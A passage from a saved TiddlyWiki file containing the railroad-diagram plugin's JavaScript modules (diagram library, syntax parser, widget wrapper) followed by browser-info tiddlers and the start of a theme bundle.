y+distanceFromY).arc('se').up(distanceFromY-Diagram.ARC_RADIUS*2).arc('en').addTo(this);\n\t\t\n/* TiddlyWiki: code added */\n\t\tif(this.wantArrow) {\n\t\t\tvar arrowSize = Diagram.ARC_RADIUS/2;\n\t\t\t// Compensate for the illusion that makes the arrow look unbalanced if it's too close to the curve below it\n\t\t\tvar multiplier = (distanceFromY < arrowSize*5) ? 1.2 : 1;\n\t\t\tPath(x-arrowSize, y+distanceFromY/2 + arrowSize/2, {class:\"arrow\"}).\n\t\t\t\tline(arrowSize, -arrowSize).line(arrowSize*multiplier, arrowSize).addTo(this);\n\t\t}\n\n\t\treturn this;\n\t}\n\n\tfunction ZeroOrMore(item, rep, skip, wantArrow) {\n\t\treturn Optional(OneOrMore(item, rep, wantArrow), skip);\n\t}\n\n/* TiddlyWiki: added type parameter */\n\tfunction Start(type) {\n\t\tif(!(this instanceof Start)) return new Start(type);\n\t\tFakeSVG.call(this, 'path');\n\t\tthis.type = type || 'single'\n\t\tthis.width = (this.type === 'double') ? 20 : 10;\n\t\tthis.up = 10;\n\t\tthis.down = 10;\n\t}\n\tsubclassOf(Start, FakeSVG);\n\tStart.prototype.format = function(x,y) {\n/* TiddlyWiki: added types */\n\t\tif(this.type === 'single') {\n\t\t\tthis.attrs.d = 'M '+x+' '+(y-10)+' v 20 m 0 -10 h 10.5';\n\t\t} else if(this.type === 'double') {\n\t\t\tthis.attrs.d = 'M '+x+' '+(y-10)+' v 20 m 10 -20 v 20 m -10 -10 h 20.5';\n\t\t} else { // 'none'\n\t\t\tthis.attrs.d = 'M '+x+' '+y+' h 10.5';\n\t\t}\n\t\treturn this;\n\t}\n\n/* TiddlyWiki: added type parameter */\n\tfunction End(type) {\n\t\tif(!(this instanceof End)) return new End(type);\n\t\tFakeSVG.call(this, 'path');\n\t\tthis.type = type || 'double';\n\t\tthis.width = (this.type === 'double') ? 20 : 10;\n\t\tthis.up = 10;\n\t\tthis.down = 10;\n\t}\n\tsubclassOf(End, FakeSVG);\n\tEnd.prototype.format = function(x,y) {\n/* TiddlyWiki: added types */\n\t\tif(this.type === 'single') {\n\t\t\tthis.attrs.d = 'M '+x+' '+y+' h 10 m 0 -10 v 20';\n\t\t} else if(this.type === 'double') {\n\t\t\tthis.attrs.d = 'M '+x+' '+y+' h 20 m -10 -10 v 20 m 10 -20 v 20';\n\t\t} else { // 'none'\n\t\t\tthis.attrs.d = 'M '+x+' '+y+' h 10';\n\t\t}\n\t\treturn this;\n\t}\n\n\tfunction Terminal(text) {\n\t\tif(!(this instanceof Terminal)) return new Terminal(text);\n\t\tFakeSVG.call(this, 'g');\n\t\tthis.text = text;\n\t\tthis.width = text.length * 8 + 20; /* Assume that each char is .5em, and that the em is 16px */\n\t\tthis.up = 11;\n\t\tthis.down = 11;\n\t}\n\tsubclassOf(Terminal, FakeSVG);\n\tTerminal.prototype.needsSpace = true;\n\tTerminal.prototype.format = function(x, y, width) {\n\t\t// Hook up the two sides if this is narrower than its stated width.\n\t\tvar gaps = determineGaps(width, this.width);\n\t\tPath(x,y).h(gaps[0]).addTo(this);\n\t\tPath(x+gaps[0]+this.width,y).h(gaps[1]).addTo(this);\n\t\tx += gaps[0];\n\n\t\tFakeSVG('rect', {x:x, y:y-11, width:this.width, height:this.up+this.down, rx:10, ry:10}).addTo(this);\n\t\tFakeSVG('text', {x:x+this.width/2, y:y+4}, this.text).addTo(this);\n\t\treturn this;\n\t}\n\n\tfunction NonTerminal(text) {\n\t\tif(!(this instanceof NonTerminal)) return new NonTerminal(text);\n\t\tFakeSVG.call(this, 'g');\n\t\tthis.text = text;\n\t\tthis.width = text.length * 8 + 20;\n\t\tthis.up = 11;\n\t\tthis.down = 11;\n\t}\n\tsubclassOf(NonTerminal, FakeSVG);\n\tNonTerminal.prototype.needsSpace = true;\n\tNonTerminal.prototype.format = function(x, y, width) {\n\t\t// Hook up the two sides if this is narrower than its stated width.\n\t\tvar gaps = determineGaps(width, this.width);\n\t\tPath(x,y).h(gaps[0]).addTo(this);\n\t\tPath(x+gaps[0]+this.width,y).h(gaps[1]).addTo(this);\n\t\tx += gaps[0];\n\n\t\tFakeSVG('rect', {x:x, y:y-11, width:this.width, height:this.up+this.down}).addTo(this);\n\t\tFakeSVG('text', {x:x+this.width/2, y:y+4}, this.text).addTo(this);\n\t\treturn this;\n\t}\n\n\tfunction Comment(text) {\n\t\tif(!(this instanceof Comment)) return new Comment(text);\n\t\tFakeSVG.call(this, 'g');\n\t\tthis.text = text;\n\t\tthis.width = text.length * 7 + 10;\n\t\tthis.up = 11;\n\t\tthis.down = 11;\n\t}\n\tsubclassOf(Comment, FakeSVG);\n\tComment.prototype.needsSpace = true;\n\tComment.prototype.format = function(x, y, width) {\n\t\t// Hook up the two sides if this is narrower than its stated width.\n\t\tvar gaps = determineGaps(width, this.width);\n\t\tPath(x,y).h(gaps[0]).addTo(this);\n\t\tPath(x+gaps[0]+this.width,y).h(gaps[1]).addTo(this);\n\t\tx += gaps[0];\n\n\t\tFakeSVG('text', {x:x+this.width/2, y:y+5, class:'comment'}, this.text).addTo(this);\n\t\treturn this;\n\t}\n\n\tfunction Skip() {\n\t\tif(!(this instanceof Skip)) return new Skip();\n\t\tFakeSVG.call(this, 'g');\n\t\tthis.width = 0;\n\t\tthis.up = 0;\n\t\tthis.down = 0;\n\t}\n\tsubclassOf(Skip, FakeSVG);\n\tSkip.prototype.format = function(x, y, width) {\n\t\tPath(x,y).right(width).addTo(this);\n\t\treturn this;\n\t}\n\t\n/* TiddlyWiki: added linking ability */\n\tfunction Link(item,options) {\n\t\tif(!(this instanceof Link)) return new Link(item,options);\n\t\tFakeSVG.call(this,'a',options);\n\t\tthis.item = item;\n\t\tthis.width = item.width;\n\t\tthis.up = item.up;\n\t\tthis.down = item.down;\n\t}\n\tsubclassOf(Link, FakeSVG);\n\tLink.prototype.needsSpace = true;\n\tLink.prototype.format = function(x, y, width) {\n\t\tthis.item.format(x,y,width).addTo(this);\n\t\treturn this;\n\t}\n\n/* TiddlyWiki: this block replaces the export mechanism in the original library */\n\tif (exports) {\n\t\texports.Diagram = Diagram;\n\t\texports.Sequence = Sequence;\n\t\texports.Choice = Choice;\n\t\texports.Optional = Optional;\n\t\texports.OneOrMore = OneOrMore;\n\t\texports.ZeroOrMore = ZeroOrMore;\n\t\texports.Terminal = Terminal;\n\t\texports.NonTerminal = NonTerminal;\n\t\texports.Comment = Comment;\n\t\texports.Skip = Skip;\n\t\texports.Link = Link;\n\t};\n})(\n\t{\n\tVERTICAL_SEPARATION: 8,\n\tARC_RADIUS: 10,\n\tDIAGRAM_CLASS: 'railroad-diagram',\n\tSTROKE_ODD_PIXEL_LENGTH: true,\n\tINTERNAL_ALIGNMENT: 'center',\n\t}\n);\n\n/* TiddlyWiki: removed assignments to properties of the window object */\n\n})($tw.node ? $tw.fakeDocument : window.document)\n",
            "type": "application/javascript",
            "title": "$:/plugins/tiddlywiki/railroad/railroad-diagrams.js",
            "module-type": "library"
        },
        "$:/plugins/tiddlywiki/railroad/parser.js": {
            "title": "$:/plugins/tiddlywiki/railroad/parser.js",
            "text": "/*\\\ntitle: $:/plugins/tiddlywiki/railroad/parser.js\ntype: application/javascript\nmodule-type: library\n\nParser for the source of a railroad diagram.\n\n[:x]\t\t\toptional, normally included\n[x]\t\t\t\toptional, normally omitted\n{x}\t\t\t\tone or more\n{x +\",\"}\t\tone or more, comma-separated\n[{:x}]\t\t\tzero or more, normally included\n[{:x +\",\"}]\t\tzero or more, comma-separated, normally included\n[{x}]\t\t\tzero or more, normally omitted\n[{x +\",\"}]\t\tzero or more, comma-separated, normally omitted\nx y z\t\t\tsequence\n<-x y z->\t\texplicit sequence\n(x|y|z)\t\t\talternatives\n(x|:y|z)\t\talternatives, normally y\n\"x\"\t\t\t\tterminal\n<\"x\">\t\t\tnonterminal\n/\"blah\"/\t\tcomment\n-\t\t\t\tdummy\n[[x|\"tiddler\"]]\tlink\n{{\"tiddler\"}}\ttransclusion\n\n\"x\" can also be written 'x' or \"\"\"x\"\"\"\n\npragmas:\n\t\\arrow yes|no\n\t\\debug yes|no\n\t\\start single|double|none\n\t\\end single|double|none\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nvar components = require(\"$:/plugins/tiddlywiki/railroad/components.js\").components;\n\nvar Parser = function(widget,source,options) {\n\tthis.widget = widget;\n\tthis.source = source;\n\tthis.options = options;\n\tthis.tokens = this.tokenise(source);\n\tthis.tokenPos = 0;\n\tthis.advance();\n\tthis.content = this.parseContent();\n\tthis.root = new components.Root(this.content);\n\tthis.checkFinished();\n};\n\n/////////////////////////// Parser dispatch\n\nParser.prototype.parseContent = function() {\n\tvar content = [];\n\t// Parse zero or more components\n\twhile(true) {\n\t\tvar component = this.parseComponent();\n\t\tif(!component) {\n\t\t\tbreak;\n\t\t}\n\t\tif(!component.isPragma) {\n\t\t\tcontent.push(component);\n\t\t}\n\t}\n\treturn content;\n};\n\nParser.prototype.parseComponent = function() {\n\tvar component = null;\n\tif(this.token) {\n\t\tif(this.at(\"string\")) {\n\t\t\tcomponent = this.parseTerminal();\n\t\t} else if(this.at(\"name\")) {\n\t\t\tcomponent = this.parseName();\n\t\t} else if(this.at(\"pragma\")) {\n\t\t\tcomponent = this.parsePragma();\n\t\t} else {\n\t\t\tswitch(this.token.value) {\n\t\t\t\tcase \"[\":\n\t\t\t\t\tcomponent = this.parseOptional();\n\t\t\t\t\tbreak;\n\t\t\t\tcase \"{\":\n\t\t\t\t\tcomponent = this.parseRepeated();\n\t\t\t\t\tbreak;\n\t\t\t\tcase \"<\":\n\t\t\t\t\tcomponent = this.parseNonterminal();\n\t\t\t\t\tbreak;\n\t\t\t\tcase \"(\":\n\t\t\t\t\tcomponent = this.parseChoice();\n\t\t\t\t\tbreak;\n\t\t\t\tcase \"/\":\n\t\t\t\t\tcomponent = this.parseComment();\n\t\t\t\t\tbreak;\n\t\t\t\tcase \"[[\":\n\t\t\t\t\tcomponent = this.parseLink();\n\t\t\t\t\tbreak;\n\t\t\t\tcase \"{{\":\n\t\t\t\t\tcomponent = this.parseTransclusion();\n\t\t\t\t\tbreak;\n\t\t\t\tcase \"<-\":\n\t\t\t\t\tcomponent = this.parseSequence();\n\t\t\t\t\tbreak;\n\t\t\t\tcase \"-\":\n\t\t\t\t\tcomponent = this.parseDummy();\n\t\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\t}\n\treturn component;\n};\n\n/////////////////////////// Specific components\n\nParser.prototype.parseChoice = function() {\n\t// Consume the (\n\tthis.advance();\n\tvar content = [],\n\t\tcolon = -1;\n\tdo {\n\t\t// Allow at most one branch to be prefixed with a colon\n\t\tif(colon === -1 && this.eat(\":\")) {\n\t\t\tcolon = content.length;\n\t\t}\n\t\t// Parse the next branch\n\t\tcontent.push(this.parseContent());\n\t} while(this.eat(\"|\"));\n\t// Consume the closing bracket\n\tthis.close(\")\");\n\t// Create a component\n\treturn new components.Choice(content,colon === -1 ? 0 : colon);\n};\n\nParser.prototype.parseComment = function() {\n\t// Consume the /\n\tthis.advance();\n\t// The comment's content should be in a string literal\n\tvar content = this.expectString(\"after /\");\n\t// Consume the closing /\n\tthis.close(\"/\");\n\t// Create a component\n\treturn new components.Comment(content);\n};\n\nParser.prototype.parseDummy = function() {\n\t// Consume the -\n\tthis.advance();\n\t// Create a component\n\treturn new components.Dummy();\n};\n\nParser.prototype.parseLink = function() {\n\t// Consume the [[\n\tthis.advance();\n\t// Parse the content\n\tvar content = this.parseContent();\n\t// Consume the |\n\tthis.expect(\"|\");\n\t// Consume the target\n\tvar target = this.expectNameOrString(\"as link target\");\n\t// Prepare some attributes for the SVG \"a\" element to carry\n\tvar options = {\"data-tw-target\": target};\n\tif($tw.utils.isLinkExternal(target)) {\n\t\toptions[\"data-tw-external\"] = true;\n\t}\n\t// Consume the closing ]]\n\tthis.close(\"]]\");\n\t// Create a component\n\treturn new components.Link(content,options);\n};\n\nParser.prototype.parseName = function() {\n\t// Create a component\n\tvar component = new components.Nonterminal(this.token.value);\n\t// Consume the name\n\tthis.advance();\n\treturn component;\n};\n\nParser.prototype.parseNonterminal = function() {\n\t// Consume the <\n\tthis.advance();\n\t// The nonterminal's name should be in a string literal\n\tvar content = this.expectString(\"after <\");\n\t// Consume the closing bracket\n\tthis.close(\">\");\n\t// Create a component\n\treturn new components.Nonterminal(content);\n};\n\nParser.prototype.parseOptional = function() {\n\tvar wantArrow = this.options.arrow;\n\t// Consume the [\n\tthis.advance();\n\t// Consume the { if there is one\n\tvar repeated = this.eat(\"{\");\n\t// Note whether omission is the normal route\n\tvar normal = this.eat(\":\");\n\t// Parse the content\n\tvar content = this.parseContent(),\n\t\tseparator = null;\n\t// Parse the separator if there is one\n\tif(repeated && this.eat(\"+\")) {\n\t\tseparator = this.parseContent();\n\t}\n\t// Consume the closing brackets\n\tif(repeated) {\n\t\tthis.close(\"}\");\n\t}\n\tthis.close(\"]\");\n\t// Create a component\n\treturn repeated ? new components.OptionalRepeated(content,separator,normal,wantArrow)\n\t\t: new components.Optional(content,normal);\n};\n\nParser.prototype.parseRepeated = function() {\n\tvar wantArrow = this.options.arrow;\n\t// Consume the {\n\tthis.advance();\n\t// Parse the content\n\tvar content = this.parseContent(),\n\t\tseparator = null;\n\t// Parse the separator if there is one\n\tif(this.eat(\"+\")) {\n\t\tseparator = this.parseContent();\n\t}\n\t// Consume the closing bracket\n\tthis.close(\"}\");\n\t// Create a component\n\treturn new components.Repeated(content,separator,wantArrow);\n};\n\nParser.prototype.parseSequence = function() {\n\t// Consume the <-\n\tthis.advance();\n\t// Parse the content\n\tvar content = this.parseContent();\n\t// Consume the closing ->\n\tthis.close(\"->\");\n\t// Create a component\n\treturn new components.Sequence(content);\n};\n\nParser.prototype.parseTerminal = function() {\n\tvar component = new components.Terminal(this.token.value);\n\t// Consume the string literal\n\tthis.advance();\n    return component;\n};\n\nParser.prototype.parseTransclusion = function() {\n\t// Consume the {{\n\tthis.advance();\n\t// Consume the text reference\n\tvar textRef = this.expectNameOrString(\"as transclusion source\");\n\t// Consume the closing }}\n\tthis.close(\"}}\");\n\t// Retrieve the content of the text reference\n\tvar source = this.widget.wiki.getTextReference(textRef,\"\",this.widget.getVariable(\"currentTiddler\"));\n\t// Parse the content\n\tvar content = new Parser(this.widget,source).content;\n\t// Create a component\n\treturn new components.Transclusion(content);\n};\n\n/////////////////////////// Pragmas\n\nParser.prototype.parsePragma = function() {\n\t// Create a dummy component\n\tvar component = { isPragma: true };\n\t// Consume the pragma\n\tvar pragma = this.token.value;\n\tthis.advance();\n\t// Apply the setting\n\tif(pragma === \"arrow\") {\n\t\tthis.options.arrow = this.parseYesNo(pragma);\t\t\n\t} else if(pragma === \"debug\") {\n\t\tthis.options.debug = true;\n\t} else if(pragma === \"start\") {\n\t\tthis.options.start = this.parseTerminusStyle(pragma);\t\t\n\t} else if(pragma === \"end\") {\n\t\tthis.options.end = this.parseTerminusStyle(pragma);\t\t\n\t} else {\n\t\tthrow \"Invalid pragma\";\n\t}\n\treturn component;\n};\n\nParser.prototype.parseYesNo = function(pragma) {\n\treturn this.parseSetting([\"yes\",\"no\"],pragma) === \"yes\";\n}\n\nParser.prototype.parseTerminusStyle = function(pragma) {\n\treturn this.parseSetting([\"single\",\"double\",\"none\"],pragma);\n}\n\nParser.prototype.parseSetting = function(options,pragma) {\n\tif(this.at(\"name\") && options.indexOf(this.token.value) !== -1) {\n\t\treturn this.tokenValueEaten();\t\t\n\t}\n\tthrow options.join(\" or \") + \" expected after \\\\\" + pragma;\n}\n\n/////////////////////////// Token manipulation\n\nParser.prototype.advance = function() {\n\tif(this.tokenPos >= this.tokens.length) {\n\t\tthis.token = null;\n\t}\n\tthis.token = this.tokens[this.tokenPos++];\n};\n\nParser.prototype.at = function(token) {\n\treturn this.token && (this.token.type === token || this.token.type === \"token\" && this.token.value === token);\n};\n\nParser.prototype.eat = function(token) {\n\tvar at = this.at(token);\n\tif(at) {\n\t\tthis.advance();\n\t}\n\treturn at;\n};\n\nParser.prototype.tokenValueEaten = function() {\n\tvar output = this.token.value;\n\tthis.advance();\n\treturn output;\n};\n\nParser.prototype.close = function(token) {\n\tif(!this.eat(token)) {\n\t\tthrow \"Closing \" + token + \" expected\";\n\t}\n};\n\nParser.prototype.checkFinished = function() {\n\tif(this.token) {\n\t\tthrow \"Syntax error at \" + this.token.value;\n\t}\n};\n\nParser.prototype.expect = function(token) {\n\tif(!this.eat(token)) {\n\t\tthrow token + \" expected\";\n\t}\n};\n\nParser.prototype.expectString = function(context,token) {\n\tif(!this.at(\"string\")) {\n\t\ttoken = token || \"String\";\n\t\tthrow token + \" expected \" + context;\n\t}\n\treturn this.tokenValueEaten();\n};\n\nParser.prototype.expectNameOrString = function(context) {\n\tif(this.at(\"name\")) {\n\t\treturn this.tokenValueEaten();\n\t}\n\treturn this.expectString(context,\"Name or string\");\n};\n\n/////////////////////////// Tokenisation\n\nParser.prototype.tokenise = function(source) {\n\tvar tokens = [],\n\t\tpos = 0,\n\t\tc, s, token;\n\twhile(pos < source.length) {\n\t\t// Initialise this iteration\n\t\ts = token = null;\n\t\t// Skip whitespace\n\t\tpos = $tw.utils.skipWhiteSpace(source,pos);\n\t\t// Avoid falling off the end of the string\n\t\tif (pos >= source.length) {\n\t\t\tbreak;\n\t\t}\n\t\t// Examine the next character\n\t\tc = source.charAt(pos);\n\t\tif(\"\\\"'\".indexOf(c) !== -1) {\n\t\t\t// String literal\n\t\t\ttoken = $tw.utils.parseStringLiteral(source,pos);\n\t\t\tif(!token) {\n\t\t\t\tthrow \"Unterminated string literal\";\n\t\t\t}\n\t\t} else if(\"[]{}\".indexOf(c) !== -1) {\n\t\t\t// Single or double character\n\t\t\ts = source.charAt(pos+1) === c ? c + c : c;\n\t\t} else if(c === \"<\") {\n\t\t\t// < or <-\n\t\t\ts = source.charAt(pos+1) === \"-\" ? \"<-\" : \"<\";\n\t\t} else if(c === \"-\") {\n\t\t\t// - or ->\n\t\t\ts = source.charAt(pos+1) === \">\" ? \"->\" : \"-\";\n\t\t} else if(\"()>+/:|\".indexOf(c) !== -1) {\n\t\t\t// Single character\n\t\t\ts = c;\n\t\t} else if(c.match(/[a-zA-Z]/)) {\n\t\t\t// Name\n\t\t\ttoken = this.readName(source,pos);\n\t\t} else if(c.match(/\\\\/)) {\n\t\t\t// Pragma\n\t\t\ttoken = this.readPragma(source,pos);\n\t\t} else {\n\t\t\tthrow \"Syntax error at \" + c;\n\t\t}\n\t\t// Add our findings to the return array\n\t\tif(token) {\n\t\t\ttokens.push(token);\n\t\t} else {\n\t\t\ttoken = $tw.utils.parseTokenString(source,pos,s);\n\t\t\ttokens.push(token);\n\t\t}\n\t\t// Prepare for the next character\n\t\tpos = token.end;\n\t}\n\treturn tokens;\n};\n\nParser.prototype.readName = function(source,pos) {\n\tvar re = /([a-zA-Z0-9_.-]+)/g;\n\tre.lastIndex = pos;\n\tvar match = re.exec(source);\n\tif(match && match.index === pos) {\n\t\treturn {type: \"name\", value: match[1], start: pos, end: pos+match[1].length};\n\t} else {\n\t\tthrow \"Invalid name\";\n\t}\n};\n\nParser.prototype.readPragma = function(source,pos) {\n\tvar re = /([a-z]+)/g;\n\tpos++;\n\tre.lastIndex = pos;\n\tvar match = re.exec(source);\n\tif(match && match.index === pos) {\n\t\treturn {type: \"pragma\", value: match[1], start: pos, end: pos+match[1].length};\n\t} else {\n\t\tthrow \"Invalid pragma\";\n\t}\n};\n\n/////////////////////////// Exports\n\nexports.parser = Parser;\n\n})();",
            "type": "application/javascript",
            "module-type": "library"
        },
        "$:/plugins/tiddlywiki/railroad/typed-parser.js": {
            "title": "$:/plugins/tiddlywiki/railroad/typed-parser.js",
            "text": "/*\\\ntitle: $:/plugins/tiddlywiki/railroad/typed-parser.js\ntype: application/javascript\nmodule-type: parser\n\nThis parser wraps unadorned railroad syntax into a railroad widget\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nvar RailroadParser = function(type,text,options) {\n\tvar element = {\n\t\t\ttype: \"railroad\",\n\t\t\ttag: \"$railroad\",\n\t\t\ttext: text\n\t\t};\n\tthis.tree = [element];\nconsole.log(text);\n};\n\nexports[\"text/vnd.tiddlywiki.railroad\"] = RailroadParser;\n\n})();\n\n",
            "type": "application/javascript",
            "module-type": "parser"
        },
        "$:/plugins/tiddlywiki/railroad/wrapper.js": {
            "title": "$:/plugins/tiddlywiki/railroad/wrapper.js",
            "text": "/*\\\ntitle: $:/plugins/tiddlywiki/railroad/wrapper.js\ntype: application/javascript\nmodule-type: widget\n\nWrapper for `railroad-diagrams.js` that provides a `<$railroad>` widget.\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nvar Parser = require(\"$:/plugins/tiddlywiki/railroad/parser.js\").parser,\n\tWidget = require(\"$:/core/modules/widgets/widget.js\").widget;\n\nvar RailroadWidget = function(parseTreeNode,options) {\n\tthis.initialise(parseTreeNode,options);\n};\n\nvar RAILROAD_OPTIONS = \"$:/config/railroad\";\n\n/*\nInherit from the base widget class\n*/\nRailroadWidget.prototype = new Widget();\n\n/*\nRender this widget into the DOM\n*/\nRailroadWidget.prototype.render = function(parent,nextSibling) {\n\t// Housekeeping\n\tthis.parentDomNode = parent;\n\tthis.computeAttributes();\n\tthis.execute();\n\t// Get the source text\n\tvar source = this.getAttribute(\"text\",this.parseTreeNode.text || \"\");\n\t// Create a div to contain the SVG or error message\n\tvar div = this.document.createElement(\"div\");\n\ttry {\n\t\t// Initialise options from the config tiddler or widget attributes\n\t\tvar config = $tw.wiki.getTiddlerData(RAILROAD_OPTIONS,{});\n\t\tvar options = {\n\t\t\tarrow: this.getAttribute(\"arrow\", config.arrow || \"yes\") === \"yes\",\n\t\t\tdebug: this.getAttribute(\"debug\", config.debug || \"no\") === \"yes\",\n\t\t\tstart: this.getAttribute(\"start\", config.start || \"single\"),\n\t\t\tend: this.getAttribute(\"end\", config.end || \"single\")\n\t\t};\n\t\t// Parse the source\n\t\tvar parser = new Parser(this,source,options);\n\t\t// Generate content into the div\n\t\tif(parser.options.debug) {\n\t\t\tthis.renderDebug(parser,div);\n\t\t} else {\n\t\t\tthis.renderSvg(parser,div);\n\t\t}\n\t} catch(ex) {\n\t\tdiv.className = \"tc-error\";\n\t\tdiv.textContent = ex;\n\t}\n\t// Insert the div into the DOM\n\tparent.insertBefore(div,nextSibling);\n\tthis.domNodes.push(div);\n};\n\nRailroadWidget.prototype.renderDebug = function(parser,div) {\n\tvar output = [\"<pre>\"];\n\tparser.root.debug(output, \"\");\n\toutput.push(\"</pre>\");\n\tdiv.innerHTML = output.join(\"\");\n};\n\nRailroadWidget.prototype.renderSvg = function(parser,div) {\n\t// Generate a model of the diagram\n\tvar fakeSvg = parser.root.toSvg(parser.options);\n\t// Render the model into a tree of SVG DOM nodes\n\tvar svg = fakeSvg.toSVG();\n\t// Fill in the remaining attributes of any link nodes\n\tthis.patchLinks(svg);\n\t// Insert the SVG tree into the div\n\tdiv.appendChild(svg);\n};\n\nRailroadWidget.prototype.patchLinks = function(node) {\n\tvar self = this;\n\tif(!$tw.node && node.hasChildNodes()) {\n\t\tvar children = node.childNodes;\n\t\tfor(var i=0; i<children.length; i++) {\n\t\t\tvar child = children[i];\n\t\t\tvar attributes = child.attributes;\n\t\t\tif(attributes) {\n\t\t\t\t// Find each element that has a data-tw-target attribute\n\t\t\t\tvar target = child.attributes[\"data-tw-target\"];\n\t\t\t\tif(target !== undefined) {\n\t\t\t\t\ttarget = target.value;\n\t\t\t\t\tif(child.attributes[\"data-tw-external\"]) {\n\t\t\t\t\t\t// External links are straightforward\n\t\t\t\t\t\tchild.setAttribute(\"target\",\"_blank\");\n\t\t\t\t\t\tchild.setAttribute(\"rel\",\"noopener noreferrer\");\n\t\t\t\t\t} else {\n\t\t\t\t\t\t// Each internal link gets its own onclick handler, capturing its own copy of target\n\t\t\t\t\t\t(function(myTarget) {\n\t\t\t\t\t\t\tchild.onclick = function(event) {\n\t\t\t\t\t\t\t\tself.dispatchLink(myTarget,event);\n\t\t\t\t\t\t\t\treturn false;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t})(target);\n\t\t\t\t\t\ttarget = \"#\" + target;\n\t\t\t\t\t}\n\t\t\t\t\tchild.setAttributeNS(\"http://www.w3.org/1999/xlink\",\"href\",target);\n\t\t\t\t}\n\t\t\t}\n\t\t\tthis.patchLinks(child);\n\t\t}\n\t}\n};\n\nRailroadWidget.prototype.refresh = function(changedTiddlers) {\n\tvar changedAttributes = this.computeAttributes();\n\tif(changedAttributes.text || changedTiddlers[RAILROAD_OPTIONS]) {\n\t\tthis.refreshSelf();\n\t\treturn true;\n\t}\n\treturn false;\t\n};\n\nRailroadWidget.prototype.dispatchLink = function(to,event) {\n\t// Send the click on its way as a navigate event\n\tvar bounds = this.domNodes[0].getBoundingClientRect();\n\tthis.dispatchEvent({\n\t\ttype: \"tm-navigate\",\n\t\tnavigateTo: to,\n\t\tnavigateFromTitle: this.getVariable(\"storyTiddler\"),\n\t\tnavigateFromNode: this,\n\t\tnavigateFromClientRect: { top: bounds.top, left: bounds.left, width: bounds.width, right: bounds.right, bottom: bounds.bottom, height: bounds.height\n\t\t},\n\t\tnavigateSuppressNavigation: event.metaKey || event.ctrlKey || (event.button === 1)\n\t});\n\tevent.preventDefault();\n\tevent.stopPropagation();\n\treturn false;\n};\n\nexports.railroad = RailroadWidget;\n\n})();",
            "type": "application/javascript",
            "module-type": "widget"
        }
    }
}
Linux笔记
Linux
readme
yes
yes
$:/core/ui/ControlPanel/Palette
$:/core/ui/ControlPanel/Info
$:/core/ui/SideBar/Open

{
    "tiddlers": {
        "$:/info/browser": {
            "title": "$:/info/browser",
            "text": "yes"
        },
        "$:/info/node": {
            "title": "$:/info/node",
            "text": "no"
        },
        "$:/info/url/full": {
            "title": "$:/info/url/full",
            "text": "file:///D:/bak/sites/tiddlywiki/index.html"
        },
        "$:/info/url/host": {
            "title": "$:/info/url/host",
            "text": ""
        },
        "$:/info/url/hostname": {
            "title": "$:/info/url/hostname",
            "text": ""
        },
        "$:/info/url/protocol": {
            "title": "$:/info/url/protocol",
            "text": "file:"
        },
        "$:/info/url/port": {
            "title": "$:/info/url/port",
            "text": ""
        },
        "$:/info/url/pathname": {
            "title": "$:/info/url/pathname",
            "text": "/D:/bak/sites/tiddlywiki/index.html"
        },
        "$:/info/url/search": {
            "title": "$:/info/url/search",
            "text": ""
        },
        "$:/info/url/origin": {
            "title": "$:/info/url/origin",
            "text": "file://"
        },
        "$:/info/browser/screen/width": {
            "title": "$:/info/browser/screen/width",
            "text": "1920"
        },
        "$:/info/browser/screen/height": {
            "title": "$:/info/browser/screen/height",
            "text": "1080"
        },
        "$:/info/browser/name": {
            "title": "$:/info/browser/name",
            "text": "Chrome"
        },
        "$:/info/browser/version": {
            "title": "$:/info/browser/version",
            "text": "68.0"
        },
        "$:/info/browser/is/webkit": {
            "title": "$:/info/browser/is/webkit",
            "text": "yes"
        },
        "$:/info/browser/is/gecko": {
            "title": "$:/info/browser/is/gecko",
            "text": "no"
        },
        "$:/info/browser/is/chrome": {
            "title": "$:/info/browser/is/chrome",
            "text": "yes"
        },
        "$:/info/browser/is/firefox": {
            "title": "$:/info/browser/is/firefox",
            "text": "no"
        },
        "$:/info/browser/is/ios": {
            "title": "$:/info/browser/is/ios",
            "text": "no"
        },
        "$:/info/browser/is/iphone": {
            "title": "$:/info/browser/is/iphone",
            "text": "no"
        },
        "$:/info/browser/is/ipad": {
            "title": "$:/info/browser/is/ipad",
            "text": "no"
        },
        "$:/info/browser/is/ipod": {
            "title": "$:/info/browser/is/ipod",
            "text": "no"
        },
        "$:/info/browser/is/opera": {
            "title": "$:/info/browser/is/opera",
            "text": "no"
        },
        "$:/info/browser/is/phantomjs": {
            "title": "$:/info/browser/is/phantomjs",
            "text": "no"
        },
        "$:/info/browser/is/safari": {
            "title": "$:/info/browser/is/safari",
            "text": "no"
        },
        "$:/info/browser/is/seamonkey": {
            "title": "$:/info/browser/is/seamonkey",
            "text": "no"
        },
        "$:/info/browser/is/blackberry": {
            "title": "$:/info/browser/is/blackberry",
            "text": "no"
        },
        "$:/info/browser/is/webos": {
            "title": "$:/info/browser/is/webos",
            "text": "no"
        },
        "$:/info/browser/is/silk": {
            "title": "$:/info/browser/is/silk",
            "text": "no"
        },
        "$:/info/browser/is/bada": {
            "title": "$:/info/browser/is/bada",
            "text": "no"
        },
        "$:/info/browser/is/tizen": {
            "title": "$:/info/browser/is/tizen",
            "text": "no"
        },
        "$:/info/browser/is/sailfish": {
            "title": "$:/info/browser/is/sailfish",
            "text": "no"
        },
        "$:/info/browser/is/android": {
            "title": "$:/info/browser/is/android",
            "text": "no"
        },
        "$:/info/browser/is/windowsphone": {
            "title": "$:/info/browser/is/windowsphone",
            "text": "no"
        },
        "$:/info/browser/is/firefoxos": {
            "title": "$:/info/browser/is/firefoxos",
            "text": "no"
        }
    }
}
lld
{
    "tiddlers": {
        "$:/themes/tiddlywiki/snowwhite/base": {
            "title": "$:/themes/tiddlywiki/snowwhite/base",
            "tags": "[[$:/tags/Stylesheet]]",
